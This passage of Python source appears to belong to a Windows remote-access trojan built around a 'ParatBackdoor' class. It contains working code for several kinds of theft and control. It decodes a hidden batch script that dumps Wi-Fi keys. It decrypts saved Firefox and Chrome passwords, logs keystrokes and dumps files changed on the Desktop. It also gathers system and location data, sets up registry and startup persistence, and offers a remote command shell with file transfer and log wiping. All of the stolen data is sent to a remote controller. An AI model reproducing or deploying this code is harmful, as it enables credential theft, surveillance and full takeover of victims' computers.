1125 "ICBgbmV0c2ggd2xhbiBzaG93IHByb2ZpbGUgbmFtZV49IiV+MSIga2V5Xj1jbGVhciBefCBmaW5k" + \
1126 "c3RyIC9DOiJLZXkgQ29udGVudCJgKSBETyAoDQogICAgICAgIHNldCByZXN1bHQ9JSVhDQogICAg" + \
1127 "ICAgIHNldCByZXN1bHQ9IXJlc3VsdDp+MSENCiAgICApDQogICAgKA0KICAgICAgICBlbmRsb2Nh" + \
1128 "bA0KICAgICAgICBzZXQgJTI9JXJlc3VsdCUNCiAgICApDQoNCiAgICBnb3RvIDplb2YNCg0KOjoN" + \
1129 "Cjo6IEdldCBhbGwgbmV0d29yayBwcm9maWxlcyAoY29tbWEgc2VwYXJhdGVkKSBpbnRvIHRoZSBy" + \
1130 "ZXN1bHQgcmVzdWx0LXZhcmlhYmxlDQo6Z2V0LXByb2ZpbGVzIDwxPXJlc3VsdC12YXJpYWJsZT4N" + \
1131 "CiAgICBzZXRsb2NhbA0KDQogICAgc2V0IHJlc3VsdD0NCg0KDQogICAgRk9SIC9GICJ1c2ViYWNr" + \
1132 "cSB0b2tlbnM9MiBkZWxpbXM9OiIgJSVhIGluICgNCiAgICAgICAgYG5ldHNoIHdsYW4gc2hvdyBw" + \
1133 "cm9maWxlcyBefCBmaW5kc3RyIC9DOiJBbGwgVXNlciBQcm9maWxlImApIERPICgNCiAgICAgICAg" + \
1134 "c2V0IHZhbD0lJWENCiAgICAgICAgc2V0IHZhbD0hdmFsOn4xIQ0KDQogICAgICAgIHNldCByZXN1" + \
1135 "bHQ9JSF2YWwhLCFyZXN1bHQhDQogICAgKQ0KICAgICgNCiAgICAgICAgZW5kbG9jYWwNCiAgICAg" + \
1136 "ICAgc2V0ICUxPSVyZXN1bHQ6fjAsLTElDQogICAgKQ0KDQogICAgZ290byA6ZW9mDQo="
1137
1138 batch_code = batch_command.decode('base64')
1139
1140 batch_file_name = "\wifi.bat"
1141 path_to_batch_file = os.environ["TEMP"] + batch_file_name
1142
1143 with open(path_to_batch_file, 'w') as batch_file:
1144 batch_file.write(batch_code)
1145 batch_file.close()
1146
1147 os.system(path_to_batch_file)
1148 sleep(1)
1149 os.remove(path_to_batch_file)
1150
1151 path_to_all_wifi_list = os.environ["TEMP"] + "\wifi_list.txt"
1152
1153 if os.path.isfile(path_to_all_wifi_list):
1154
1155 with open(path_to_all_wifi_list, 'r') as local_file:
1156
1157 content = local_file.read().strip()
1158 for line in content.split("\n"):
1159 ROBOT.send(pencode(line))
1160 sleep(0.1)
1161
1162 ROBOT.send(pencode("#DATA_HANDLER"))
1163
1164 local_file.close()
1165
1166 else:
1167 ROBOT.send(pencode("No wifi(es) found.\n"))
1168
1169 if os.path.isfile(path_to_all_wifi_list): os.remove(path_to_all_wifi_list)
1170
1171
1172
1173
1174DEVNULL = open(os.devnull, 'w')
1175
1176
1177class NotFoundError(Exception):
1178 pass
1179
1180
1181class Exit(Exception):
1182
1183 ERROR = 1
1184 MISSING_PROFILEINI = 2
1185 MISSING_SECRETS = 3
1186 BAD_PROFILEINI = 4
1187 LOCATION_NO_DIRECTORY = 5
1188
1189 FAIL_LOAD_NSS = 11
1190 FAIL_INIT_NSS = 12
1191 FAIL_NSS_KEYSLOT = 13
1192 FAIL_SHUTDOWN_NSS = 14
1193 BAD_MASTER_PASSWORD = 15
1194 NEED_MASTER_PASSWORD = 16
1195
1196 PASSSTORE_NOT_INIT = 20
1197 PASSSTORE_MISSING = 21
1198 PASSSTORE_ERROR = 22
1199
1200 READ_GOT_EOF = 30
1201 MISSING_CHOICE = 31
1202 NO_SUCH_PROFILE = 32
1203
1204 UNKNOWN_ERROR = 100
1205 KEYBOARD_INTERRUPT = 102
1206
1207 def __init__(self, exitcode):
1208 self.exitcode = exitcode
1209
1210 def __unicode__(self):
1211 return "Premature program exit with exit code {0}".format(self.exitcode)
1212
1213
1214class Credentials(object):
1215
1216 def __init__(self, db):
1217 self.db = db
1218
1219 if not os.path.isfile(db):
1220 raise NotFoundError("ERROR - {0} database not found\n".format(db))
1221
1222 def __iter__(self):
1223 pass
1224
1225 def done(self):
1226 pass
1227
1228
1229class SqliteCredentials(Credentials):
1230
1231 def __init__(self, profile):
1232 db = os.path.join(profile, "signons.sqlite")
1233
1234 super(SqliteCredentials, self).__init__(db)
1235
1236 self.conn = sqlite3.connect(db)
1237 self.c = self.conn.cursor()
1238
1239 def __iter__(self):
1240
1241 self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword, encType FROM moz_logins")
1242 for i in self.c:
1243 # yields hostname, encryptedUsername, encryptedPassword, encType
1244 yield i
1245
1246 def done(self):
1247 super(SqliteCredentials, self).done()
1248
1249 self.c.close()
1250 self.conn.close()
1251
1252
1253class JsonCredentials(Credentials):
1254
1255 def __init__(self, profile):
1256 db = os.path.join(profile, "logins.json")
1257
1258 super(JsonCredentials, self).__init__(db)
1259
1260 def __iter__(self):
1261 with open(self.db) as fh:
1262
1263 data = load(fh)
1264
1265 try:
1266 logins = data["logins"]
1267 except:
1268 raise Exception("Unrecognized format in {0}".format(self.db))
1269 if len(logins) == 0:
1270 yield "No password(s) found."
1271 for i in logins:
1272 yield (i["hostname"], i["encryptedUsername"],
1273 i["encryptedPassword"], i["encType"])
1274
1275
1276class NSSDecoder(object):
1277
1278 class SECItem(Structure):
1279
1280 _fields_ = [
1281 ('type', c_uint),
1282 ('data', c_char_p), # actually: unsigned char *
1283 ('len', c_uint),
1284 ]
1285
1286 class PK11SlotInfo(Structure):
1287 pass
1288
1289
1290 def __init__(self):
1291
1292 self.NSS = None
1293 self.load_libnss()
1294
1295 SlotInfoPtr = POINTER(self.PK11SlotInfo)
1296 SECItemPtr = POINTER(self.SECItem)
1297
1298 self._set_ctypes(c_int, "NSS_Init", c_char_p)
1299 self._set_ctypes(c_int, "NSS_Shutdown")
1300 self._set_ctypes(SlotInfoPtr, "PK11_GetInternalKeySlot")
1301 self._set_ctypes(None, "PK11_FreeSlot", SlotInfoPtr)
1302 self._set_ctypes(c_int, "PK11_CheckUserPassword", SlotInfoPtr, c_char_p)
1303 self._set_ctypes(c_int, "PK11SDR_Decrypt", SECItemPtr, SECItemPtr, c_void_p)
1304 self._set_ctypes(None, "SECITEM_ZfreeItem", SECItemPtr, c_int)
1305
1306 self._set_ctypes(c_int, "PORT_GetError")
1307 self._set_ctypes(c_char_p, "PR_ErrorToName", c_int)
1308 self._set_ctypes(c_char_p, "PR_ErrorToString", c_int, c_uint32)
1309
1310
1311 def _set_ctypes(self, restype, name, *argtypes):
1312
1313 res = getattr(self.NSS, name)
1314 res.restype = restype
1315 res.argtypes = argtypes
1316 setattr(self, "_" + name, res)
1317
1318
1319 @staticmethod
1320 def find_nss(locations, nssname):
1321
1322 for loc in locations:
1323 if os.path.exists(os.path.join(loc, nssname)):
1324 return loc
1325
1326 return ""
1327
1328
1329 def load_libnss(self):
1330
1331 nssname = "nss3.dll"
1332 locations = (
1333 "", # Current directory or system lib finder
1334 r"C:\Program Files (x86)\Mozilla Firefox",
1335 r"C:\Program Files\Mozilla Firefox"
1336 )
1337 firefox = self.find_nss(locations, nssname)
1338
1339 os.environ["PATH"] = ';'.join([os.environ["PATH"], firefox])
1340
1341 try:
1342 nsslib = os.path.join(firefox, nssname)
1343
1344 self.NSS = CDLL(nsslib)
1345
1346 except Exception as e:
1347 raise Exit(Exit.FAIL_LOAD_NSS)
1348
1349
1350 def handle_error(self):
1351
1352 code = self._PORT_GetError()
1353 name = self._PR_ErrorToName(code)
1354 name = "NULL" if name is None else name.decode("ascii")
1355 # 0 is the default language (localization related)
1356 text = self._PR_ErrorToString(code, 0)
1357 text = text.decode("utf8")
1358
1359
1360 def decode(self, data64):
1361 data = data64.decode('base64')
1362 inp = self.SECItem(0, data, len(data))
1363 out = self.SECItem(0, None, 0)
1364
1365 e = self._PK11SDR_Decrypt(inp, out, None)
1366
1367 try:
1368 if e == -1:
1369
1370 self.handle_error()
1371 raise Exit(Exit.NEED_MASTER_PASSWORD)
1372
1373 res = string_at(out.data, out.len).decode("utf8")
1374 finally:
1375 # Avoid leaking SECItem
1376 self._SECITEM_ZfreeItem(out, 0)
1377
1378 return res
1379
1380
1381class NSSInteraction(object):
1382
1383 def __init__(self):
1384
1385 self.profile = None
1386 self.NSS = NSSDecoder()
1387
1388
1389 def load_profile(self, profile):
1390
1391 self.profile = profile
1392 e = self.NSS._NSS_Init(self.profile.encode("utf8"))
1393 if e != 0:
1394 self.NSS.handle_error()
1395
1396
1397 def authenticate(self, interactive):
1398
1399 keyslot = self.NSS._PK11_GetInternalKeySlot()
1400 if not keyslot:
1401 self.NSS.handle_error()
1402
1403
1404 def unload_profile(self):
1405
1406 e = self.NSS._NSS_Shutdown()
1407 if e != 0:
1408 self.NSS.handle_error()
1409
1410
1411 def decode_entry(self, user64, passw64):
1412
1413 user = self.NSS.decode(user64)
1414 passw = self.NSS.decode(passw64)
1415
1416 return user, passw
1417
1418
1419 def decrypt_passwords(self):
1420
1421 credentials = obtain_credentials(self.profile)
1422
1423 try:
1424
1425 for host, user, passw, enctype in credentials:
1426
1427 if enctype:
1428 user, passw = self.decode_entry(user, passw)
1429 output = (
1430 u"\nWebsite : {0}\n".format(host),
1431 u"Username: {0}\n".format(user),
1432 u"Password: {0}\n".format(passw),
1433 )
1434 for line in output:
1435 ROBOT.send(pencode(str(line))); sleep(.1)
1436 ROBOT.send(pencode("#DATA_HANDLER"))
1437
1438 except ValueError:
1439 ROBOT.send(pencode("No password(s) found."))
1440
1441 credentials.done()
1442
1443
1444
1445def obtain_credentials(profile):
1446
1447 try:
1448 credentials = JsonCredentials(profile)
1449 except NotFoundError:
1450 try:
1451 credentials = SqliteCredentials(profile)
1452 except NotFoundError:
1453 raise Exit(Exit.MISSING_SECRETS)
1454
1455 return credentials
1456
1457
1458
1459def mozilla_passwords():
1460
1461 interactive = True
1462 basepath = os.path.join(os.environ['APPDATA'], "Mozilla", "Firefox")
1463 profileini = os.path.join(basepath, "profiles.ini")
1464
1465 nss = NSSInteraction()
1466
1467 profiles = ConfigParser()
1468 profiles.read(profileini)
1469
1470 for section in profiles.sections():
1471 if section.startswith("Profile"):
1472 section = profiles.get(section, "Path")
1473 else:
1474 continue
1475
1476 profile = os.path.join(basepath, section)
1477
1478 nss.load_profile(profile)
1479 nss.authenticate(interactive)
1480 nss.decrypt_passwords()
1481
1482 nss.unload_profile()
1483
1484
1485
1486
1487
1488
1489
1490
1491def chrome_passwords():
1492
1493 info_list = []
1494
1495 path = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
1496 if (os.path.isdir(path) == False):
1497 ROBOT.send(pencode('Chrome doesn\'t exists'))
1498
1499 else:
1500
1501 try:
1502
1503 connection = sqlite3.connect(path + "Login Data")
1504
1505 with connection:
1506 cursor = connection.cursor()
1507 v = cursor.execute(
1508 'SELECT action_url, username_value, password_value FROM logins')
1509 value = v.fetchall()
1510
1511 for information in value:
1512
1513 password = win32crypt.CryptUnprotectData(information[2], None, None, None, 0)[1]
1514 if password:
1515 info_list.append({
1516 'origin_url': information[0],
1517 'username': information[1],
1518 'password': str(password)
1519 })
1520
1521 except sqlite3.OperationalError, e:
1522
1523 e = str(e)
1524
1525 if (e == 'database is locked'):
1526 return '[!] Make sure Google Chrome is not running in the background'
1527
1528 elif (e == 'no such table: logins'):
1529 return '[!] Something wrong with the database name'
1530
1531 elif (e == 'unable to open database file'):
1532 return '[!] Something wrong with the database path'
1533
1534 else:
1535 return str(e)
1536
1537 for line in info_list:
1538 ROBOT.send(pencode(str(line))); sleep(.1)
1539 ROBOT.send(pencode("#DATA_HANDLER"))
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550user32 = ctypes.windll.user32
1551kernel32 = ctypes.windll.kernel32
1552keystrokes=0
1553mouse_clicks = 0
1554double_clicks = 0
1555
1556class LASTINPUTINFO(ctypes.Structure):
1557 _fields_ = [("cbSize", ctypes.c_uint),
1558 ("dwTime", ctypes.c_ulong)]
1559
1560
1561
1562
1563def get_last_active():
1564
1565 struct_lastinputinfo = LASTINPUTINFO()
1566 struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
1567
1568 # get last input registered
1569 user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
1570
1571 # now determine how long the machine has been running
1572 run_time = kernel32.GetTickCount()
1573
1574 elapsed = run_time - struct_lastinputinfo.dwTime
1575
1576 ROBOT.send(pencode("[*] It's been %d milliseconds since the last input event.\n" % elapsed))
1577
1578
1579
1580
1581
1582# these are the common temp file directories
1583desktop = os.path.join(os.environ["HOMEPATH"], "Desktop")
1584temp_dir = gettempdir()
1585dirs_to_monitor = [desktop]
1586
1587# list of changes to send each request
1588all_changes = []
1589
1590# file modification constants
1591FILE_CREATED=1
1592FILE_DELETED=2
1593FILE_MODIFIED = 3
1594FILE_RENAMED_FROM = 4
1595FILE_RENAMED_TO = 5
1596
1597
1598
1599def start_monitor(path_to_watch):
1600
1601 # we create a thread for each monitoring run
1602 FILE_LIST_DIRECTORY = 0x0001
1603
1604 try:
1605 h_directory = win32file.CreateFile(
1606 path_to_watch,
1607 FILE_LIST_DIRECTORY,
1608 win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
1609 None,
1610 win32con.OPEN_EXISTING,
1611 win32con.FILE_FLAG_BACKUP_SEMANTICS,
1612 None
1613 )
1614
1615 while 1:
1616 try:
1617 results = win32file.ReadDirectoryChangesW(
1618 h_directory,
1619 1024,
1620 True,
1621 win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
1622 win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
1623 win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
1624 win32con.FILE_NOTIFY_CHANGE_SIZE |
1625 win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
1626 win32con.FILE_NOTIFY_CHANGE_SECURITY,
1627 None,
1628 None
1629 )
1630
1631 for action, file_name in results:
1632 full_filename = os.path.join(path_to_watch, file_name)
1633 if action == FILE_CREATED:
1634 all_changes.append("[ + ] Created %s\n" % full_filename)
1635
1636 elif action == FILE_DELETED:
1637 all_changes.append("[ - ] Deleted %s\n" % full_filename)
1638
1639 elif action == FILE_MODIFIED:
1640
1641 all_changes.append("[ * ] Modified %s\n" % full_filename)
1642
1643 # dump out the file contents
1644 all_changes.append("[vvv] Dumping contents...\n")
1645
1646 try:
1647 fd = open(full_filename,"rb")
1648 contents = fd.read()
1649 if len(contents) < 2048:
1650 pass
1651 else:
1652 contents = "(too big content)\n"
1653 fd.close()
1654 all_changes.append(contents)
1655 all_changes.append("[^^^] Dump complete.\n")
1656
1657 except Exception as e:
1658 all_changes.append("[!!!] %s.\n" % str(e))
1659
1660 elif action == FILE_RENAMED_FROM:
1661 all_changes.append("[ > ] Renamed from: %s\n" % full_filename)
1662
1663 elif action == FILE_RENAMED_TO:
1664 all_changes.append("[ < ] Renamed to: %s\n" % full_filename)
1665
1666 else:
1667 all_changes.append("[???] Unknown: %s\n" % full_filename)
1668
1669 except:
1670 pass
1671 except Exception:
1672 pass
1673
1674def grab_all_data(plat_type):
1675
1676 try:
1677
1678 values = {}
1679 cache = os.popen2("SYSTEMINFO")
1680 source = cache[1].read()
1681
1682 fields = [
1683 "Host Name", "OS Name", "OS Version",
1684 "Product ID", "System Manufacturer",
1685 "System Model", "System type", "BIOS Version",
1686 "Domain", "Processor", "Windows Directory", "Total Physical Memory",
1687 "Available Physical Memory", "Logon Server"
1688 ]
1689
1690 for field in fields:
1691 if field == "Processor":
1692 values[field] = re.findall("Processor\(s\):\s+(.+\n\s+.+)", source, re.IGNORECASE)[0]
1693 else:
1694 values[field] = [item.strip() for item in re.findall("%s:\w*(.*?)\n" % (field), source, re.IGNORECASE)][0]
1695
1696 for index, (_, value) in enumerate(values.items(), 1):
1697
1698 if index == 1: ap_memory = str(value)
1699 if index == 2: product_id = str(value)
1700 if index == 3: os_name = str(value)
1701 if index == 4: bios_version = str(value)
1702 if index == 5: system_model = str(value)
1703 if index == 6: system_type = str(value)
1704 if index == 7: processor = str(value)
1705 if index == 8: tp_memory = str(value)
1706 if index == 9: logon_server = str(value)
1707 if index == 10: domain = str(value)
1708 if index == 11: windows_directory = str(value)
1709 if index == 12: os_version = str(value)
1710 if index == 13: system_manufacturer = str(value)
1711 if index == 14: host_name = str(value)
1712
1713
1714 username = getuser()
1715 fqdn = socket.getfqdn()
1716 internal_ip = socket.gethostbyname(hostname)
1717 raw_mac = getnode()
1718 mac = ':'.join(("%012X" % raw_mac)[i:i+2] for i in range(0, 12, 2))
1719 ex_ip_grab = ['ipinfo.io/ip', 'icanhazip.com', 'ident.me', 'ipecho.net/plain', 'myexternalip.com/raw']
1720 external_ip = ''
1721
1722
1723 for url in ex_ip_grab:
1724
1725 try:
1726 external_ip = urllib.urlopen('http://' + url).read().rstrip()
1727 except IOError:
1728 pass
1729
1730 if external_ip and (6 < len(external_ip) < 16): break
1731
1732 is_admin = False
1733
1734 if plat_type.startswith('win'):
1735 is_admin = windll.shell32.IsUserAnAdmin() != 0
1736
1737 admin_access = 'Yes' if is_admin else 'No'
1738
1739 url = 'http://ip-api.com/json/'
1740 response = urllib2.urlopen(url)
1741 data = load(response)
1742 _as = data['as']
1743 city = data['city']
1744 country = data['country']
1745 country_code = data['countryCode']
1746 isp = data['isp']
1747 lat = data['lat']
1748 lon = data['lon']
1749 org = data['org']
1750 region = data['region']
1751 region_name = data['regionName']
1752 _zip = data['zip']
1753 timezone = data['timezone']
1754 if _zip == "": _zip = "-"
1755
1756
1757 survey_results = ''' As : {}
1758 City : {}
1759 Country : {}
1760 Country Code : {}
1761 ISP : {}
1762 Lat : {}
1763 Lon : {}
1764 Org : {}
1765 Region : {}
1766 Region Name : {}
1767 Zip : {}
1768 Timezone : {}
1769 FQDN : {}
1770 Internal IP : {}
1771 External IP : {}
1772 MAC Address : {}
1773 Current User : {}
1774 Admin Access : {}
1775 Host Name : {}
1776 OS Name : {}
1777 OS Version : {}
1778 Product ID : {}
1779 System Manufacturer : {}
1780 System Model : {}
1781 System type : {}
1782 BIOS Version : {}
1783 Domain : {}
1784 Logon Server : {}
1785 Windows Directory : {}
1786 Total Physical Memory : {}
1787 Available Physical Memory : {}
1788 Processor : {}
1789 '''.format(
1790 _as, city, country, country_code, isp, lat, lon, org, region, region_name, _zip, timezone,
1791 fqdn, internal_ip, external_ip, mac, username, admin_access, host_name, os_name,
1792 os_version, product_id, system_manufacturer, system_model, system_type, bios_version, domain,
1793 logon_server, windows_directory, tp_memory, ap_memory, processor
1794 )
1795
1796 return survey_results
1797
1798 except Exception as e: return e
1799def main():
1800 """connected and ready for command
1801 """
1802 global ROBOT
1803 global RST_FLAG
1804
1805 pbackdoor = ParatBackdoor()
1806 pbackdoor.do_action('registry')
1807 pbackdoor.do_action('startup')
1808
1809 keyLogger = KeyLogger()
1810 keyLogger.start()
1811
1812 for path in dirs_to_monitor:
1813 threading.Thread(target=start_monitor, args=(path, )).start()
1814
1815
1816 while 1:
1817
1818 try:
1819 command = pdecode(ROBOT.recv(4096))
1820 if command == "": break
1821
1822 except:
1823 sleep(0.1)
1824
1825
1826 if command == 'disconnect':
1827
1828 RST_FLAG = True
1829 ROBOT.close()
1830 return 0
1831
1832
1833 elif command == 'continue': pass
1834
1835
1836 elif command == 'remove':
1837
1838 try:
1839
1840 self_name = sys.argv[0]
1841 batchfile = os.getenv('TEMP') + "\\common.bat"
1842 registry_command = "Reg Add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" + \
1843 " /v rmServer /t REG_SZ /d " + batchfile
1844 handler = call(registry_command)
1845
1846 if handler != 0:
1847 ROBOT.send('Permission Denied!\n')
1848
1849 else:
1850
1851 with open(batchfile, "w") as batch_file:
1852 batch_file.write("del %s\ndel common.bat" % self_name)
1853 batch_file.close()
1854
1855 RST_FLAG = True
1856 ROBOT.send(pencode('Server will remove next reboot!\n'))
1857 ROBOT.close()
1858
1859 return 0
1860
1861 except:
1862 ROBOT.send(pencode('Unknown error from client.\n'))
1863
1864
1865
1866 elif command == 'sysinfo':
1867
1868 update_check = pdecode(ROBOT.recv(1024))
1869
1870 if update_check == "#GET_INF":
1871
1872 inf = grab_all_data(sys.platform).split('\n')
1873
1874 if len(inf) != 2:
1875
1876 for line in inf:
1877 ROBOT.sendall(pencode(line + '\n'))
1878 sleep(0.01)
1879
1880 ROBOT.send(pencode("#END_INF"))
1881 else:
1882 ROBOT.send(pencode(inf[0]))
1883
1884 else:
1885 pass
1886
1887
1888
1889 elif command.startswith('mkdir<#>'):
1890
1891 try:
1892
1893 dir_name = command.split("<#>")[1]
1894
1895 if not os.path.exists(dir_name):
1896 os.makedirs(dir_name)
1897 ROBOT.send(pencode("[32m[+][0mFolder '" + dir_name + "' created.\n"))
1898 else:
1899 ROBOT.send(pencode("[91mERROR:[0m Folder '%s' exist.\n" % dir_name))
1900
1901 except:
1902 ROBOT.send(pencode("[91mERROR:[0m can't create '%s'.\n" % dir_name))
1903
1904
1905
1906 elif command == 'tree':
1907
1908 directory_list = os.listdir('.')
1909 directories = ''
1910 all_files = ''
1911
1912 for item in directory_list:
1913
1914 if os.path.isdir(item):
1915 directories += "[D][-]: %s\n" % item
1916
1917 elif os.path.isfile(item):
1918 all_files += "[F][%s]: \n" % os.path.getsize(item) + item
1919
1920 current_directory = "\n" + os.getcwd() + "\n\n"
1921
1922 ROBOT.send(pencode(current_directory + directories + all_files + '\n\n\n'))
1923
1924
1925
1926 elif command.startswith('cd<#>'):
1927
1928 try:
1929 new_directory = command.split("<#>")[1]
1930 os.chdir(new_directory)
1931 ROBOT.send(pencode(os.getcwd()))
1932
1933 except:
1934 ROBOT.send(pencode("[91mERROR:[0m can't change to '%s'.\n" % new_directory))
1935
1936
1937
1938 elif command.startswith('rmv<#>'):
1939
1940 try:
1941 user_input = command.split("<#>")[1]
1942 os.remove(user_input)
1943 ROBOT.send(pencode("[32m[+][0mFile '" + user_input + "' successfully removed.\n"))
1944
1945 except:
1946
1947 try:
1948 rmtree(user_input)
1949 ROBOT.send(pencode("[32m[+][0mDirectory '" + user_input + "' successfully removed.\n"))
1950
1951 except:
1952 ROBOT.send(pencode("[91mERROR:[0m can't remove '%s'.\n" % user_input))
1953
1954
1955
1956 elif command.startswith('ie<#>'):
1957
1958 try:
1959 urladdr = command.split("<#>")[1]
1960 os.system('"C:\Program Files\Internet Explorer\iexplore.exe" ' + urladdr)
1961 ROBOT.send(pencode("'%s' opened successfully!\n" % urladdr))
1962 except:
1963 ROBOT.send(pencode('Unknown error.\n'))
1964
1965
1966
1967 elif command == 'pwd':
1968
1969 try:
1970 ROBOT.send(pencode(os.getcwd()))
1971 except:
1972 ROBOT.send(pencode('[91mERROR:[0m Unknown error from client.\n'))
1973
1974
1975
1976 elif command.startswith('touch<#>'):
1977
1978 try:
1979
1980 mode = command.split("<#>")[1]
1981
1982 if mode == "name_and_text":
1983
1984 new_file_name = command.split("<#>")[2]
1985 new_file_content = command.split("<#>")[3]
1986
1987 nf = open(new_file_name, "w")
1988 nf.write(new_file_content)
1989 nf.close()
1990
1991 ROBOT.send(pencode("[32m[+][0m" + new_file_name + " created and text writed.\n"))
1992
1993
1994 elif mode == "name":
1995
1996 new_file_name = command.split("<#>")[2]
1997
1998 nf = open(new_file_name, "w")
1999 nf.close()
2000
2001 ROBOT.send(pencode("[32m[+][0m'" + new_file_name + "' created.\n"))
2002
2003 except:
2004 ROBOT.send(pencode("[91mERROR:[0m Unknown error from client.\n"))
2005
2006
2007
2008 elif command.startswith('pzip<#>'):
2009
2010 zip_file_name = command.split('<#>')[1]
2011 file_password = command.split('<#>')[2]
2012
2013 ROBOT.send(pencode(zip_util(zip_file_name, file_password))) if \
2014 file_password != "`_._`" \
2015 else \
2016 ROBOT.send(pencode(zip_util(zip_file_name)))
2017
2018
2019
2020 elif command.startswith('msgbox<#>'):
2021
2022 try:
2023
2024 MB_OK = 0x0
2025 MB_OKCXL = 0x01
2026 MB_YESNOCXL = 0x03
2027 MB_YESNO = 0x04
2028 MB_HELP = 0x4000
2029 ICON_NO = 0x0
2030 ICON_EXLAIM = 0x30
2031 ICON_INFO = 0x40
2032 ICON_STOP = 0x10
2033
2034 title = command.split("<#>")[1]
2035 message = command.split("<#>")[2]
2036 icon = command.split("<#>")[3]
2037 button = command.split("<#>")[4]
2038
2039
2040 if icon == "None":
2041 icon = ICON_NO
2042 elif icon == "information":
2043 icon = ICON_INFO
2044 elif icon == "warning":
2045 icon = ICON_EXLAIM
2046 elif icon == "critical":
2047 icon = ICON_STOP
2048
2049
2050 if button == "ok":
2051 button = MB_OK
2052 elif button == "okcncl":
2053 button = MB_OKCXL
2054 elif button == "yesno":
2055 button = MB_YESNO
2056 elif button == "yesnocncl":
2057 button = MB_YESNOCXL
2058 elif button == "okhelp":
2059 button = MB_HELP
2060
2061
2062 threading.Thread(target=msgbox_thread, args=(message, title, button, icon)).start()
2063 ROBOT.send(pencode("Your message showed.\n"))
2064
2065 except:
2066 ROBOT.send(pencode("Message box error.\n"))
2067
2068
2069
2070 elif command == 'reboot':
2071
2072 try:
2073 os.system("shutdown /r /t 0")
2074 ROBOT.send(pencode("[32m[+][0mRebooting...\n"))
2075 RST_FLAG = True
2076 ROBOT.close()
2077
2078 except:
2079 ROBOT.send(pencode("[91mERROR: [0mCan't reboot.\n"))
2080
2081
2082
2083 elif command == 'shutdown':
2084
2085 try:
2086 os.system("shutdown /s /t 0")
2087 ROBOT.send(pencode("[32m[+][0mShutting down...\n"))
2088 RST_FLAG = True
2089 ROBOT.close()
2090
2091 except:
2092 ROBOT.send(pencode("[91mERROR: [0mCan't shutdown.\n"))
2093
2094
2095
2096 elif command == 'shell':
2097
2098 try:
2099
2100 while True:
2101
2102 ROBOT.send(pencode(os.getcwd() + "> "))
2103 cmd = pdecode(ROBOT.recv(4096))
2104
2105 if cmd != "exit":
2106
2107 if cmd[:2] == "cd":
2108
2109
2110 try:
2111 directory = cmd.split()[1:]
2112 new_path = " ".join(directory)
2113 os.chdir(new_path)
2114 ROBOT.sendall(pencode('\n'))
2115
2116 except Exception as e:
2117 ROBOT.sendall(pencode(str(e) + '\n'))
2118
2119
2120 elif cmd == "ENTER":
2121 ROBOT.sendall(pencode('\n\n'))
2122
2123 elif cmd == "tree":
2124 ROBOT.sendall(pencode("\n You can't use tree remotly\n\n"))
2125
2126 else:
2127 results = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE, stdin=PIPE)
2128 command_output = str(results.stdout.read() + results.stderr.read())
2129 ROBOT.sendall(pencode(command_output + '\n')) if command_output else ROBOT.sendall(pencode("\n"))
2130 else:
2131 break
2132 except:
2133 ROBOT.send(pencode("[31mERROR:[0m Invalid syntax: '%s'.\n" % Command))
2134
2135
2136
2137
2138 elif command == 'scan':
2139
2140 try:
2141 check_update = pdecode(ROBOT.recv(1024))
2142
2143 if check_update == "#FSCAN":
2144 IP = socket.gethostbyname(socket.gethostname())
2145 ROBOT.send(pencode(scan_local_network(IP)))
2146
2147 else:
2148 pass
2149
2150 except:
2151 ROBOT.send(pencode("[31m[-][0mUnknown error from client.\n"))
2152
2153
2154
2155 elif command.startswith('uninstall<#>'):
2156
2157 try:
2158
2159 program = command.split('<#>')[1]
2160 result_content = os.popen('wmic product where name="%s" call uninstall /nointeractive' % program)
2161 output = result_content.read().strip()
2162
2163 if output == "No Instance(s) Available.":
2164 ROBOT.send(pencode("[91mERROR: [0mProgram not found '%s'.\n" % program))
2165 else:
2166 ROBOT.send(pencode("[32m[+][0mProgram '%s' uninstalled successfully.\n" % program))
2167
2168 except:
2169 ROBOT.send(pencode("[91mERROR: [0mCan't remove '%s'.\n" % program))
2170
2171
2172
2173 elif command.startswith('wget<#>'):
2174 link = command.split('<#>')[1]
2175 wget_from_url(link)
2176
2177
2178 elif command == 'rmlog':
2179 clean_logs()
2180
2181
2182 elif command == '>wif1<':
2183 wifi_dump()
2184
2185
2186 elif command.startswith('download<#>'):
2187
2188 try:
2189 fna = command.split('<#>')[1]
2190
2191 if os.path.isfile(fna):
2192 upload_to_server(fna)
2193 else:
2194 ROBOT.send("File '%s' not found.\n" % fna)
2195
2196 except:
2197 ROBOT.send("Unknown error from client!\n")
2198
2199
2200
2201 elif command == 'getps':
2202
2203 try:
2204 pscmd = 'tasklist'
2205 proc = Popen(pscmd, shell=False, stdout=PIPE)
2206
2207 for line in proc.stdout:
2208 ROBOT.send(pencode(line)); sleep(0.01)
2209
2210 ROBOT.send(pencode("#DATA_HANDLER"))
2211
2212 except:
2213 ROBOT.send(pencode("GETPS ERROR!\n"))
2214
2215
2216
2217 elif command.startswith('kill'):
2218
2219 try:
2220 pid = command.split()[1]
2221
2222 killcmd = 'taskkill /PID ' + pid + ' /F'
2223 proc = call(killcmd, shell=False, stdout=PIPE)
2224
2225 if proc == 0:
2226 ROBOT.send(pencode("[92m[+][0m" + pid + " killed successfully.\n"))
2227 else:
2228 ROBOT.send(pencode("[31m[-][0m" + pid + " not killable.\n"))
2229
2230 except:
2231 ROBOT.send(pencode("[31m[-][0mUnknown error from client.\n"))
2232
2233
2234
2235 elif command.startswith('upload<#>'):
2236
2237 file_name = command.split('<#>')[1]
2238 validate_exist = pdecode(ROBOT.recv(4096))
2239
2240 if validate_exist == "#IS_FILE":
2241 download_from_server(file_name)
2242 else:
2243 pass
2244
2245
2246 elif command == '>screensh0t<':
2247 screenshot()
2248
2249
2250 elif command == 'programs':
2251
2252 os.system('wmic product get name,version /format:list > %TEMP%\programs.list')
2253 ProgListFile = os.environ["TEMP"] + "\programs.list"
2254
2255 upload_to_server(ProgListFile)
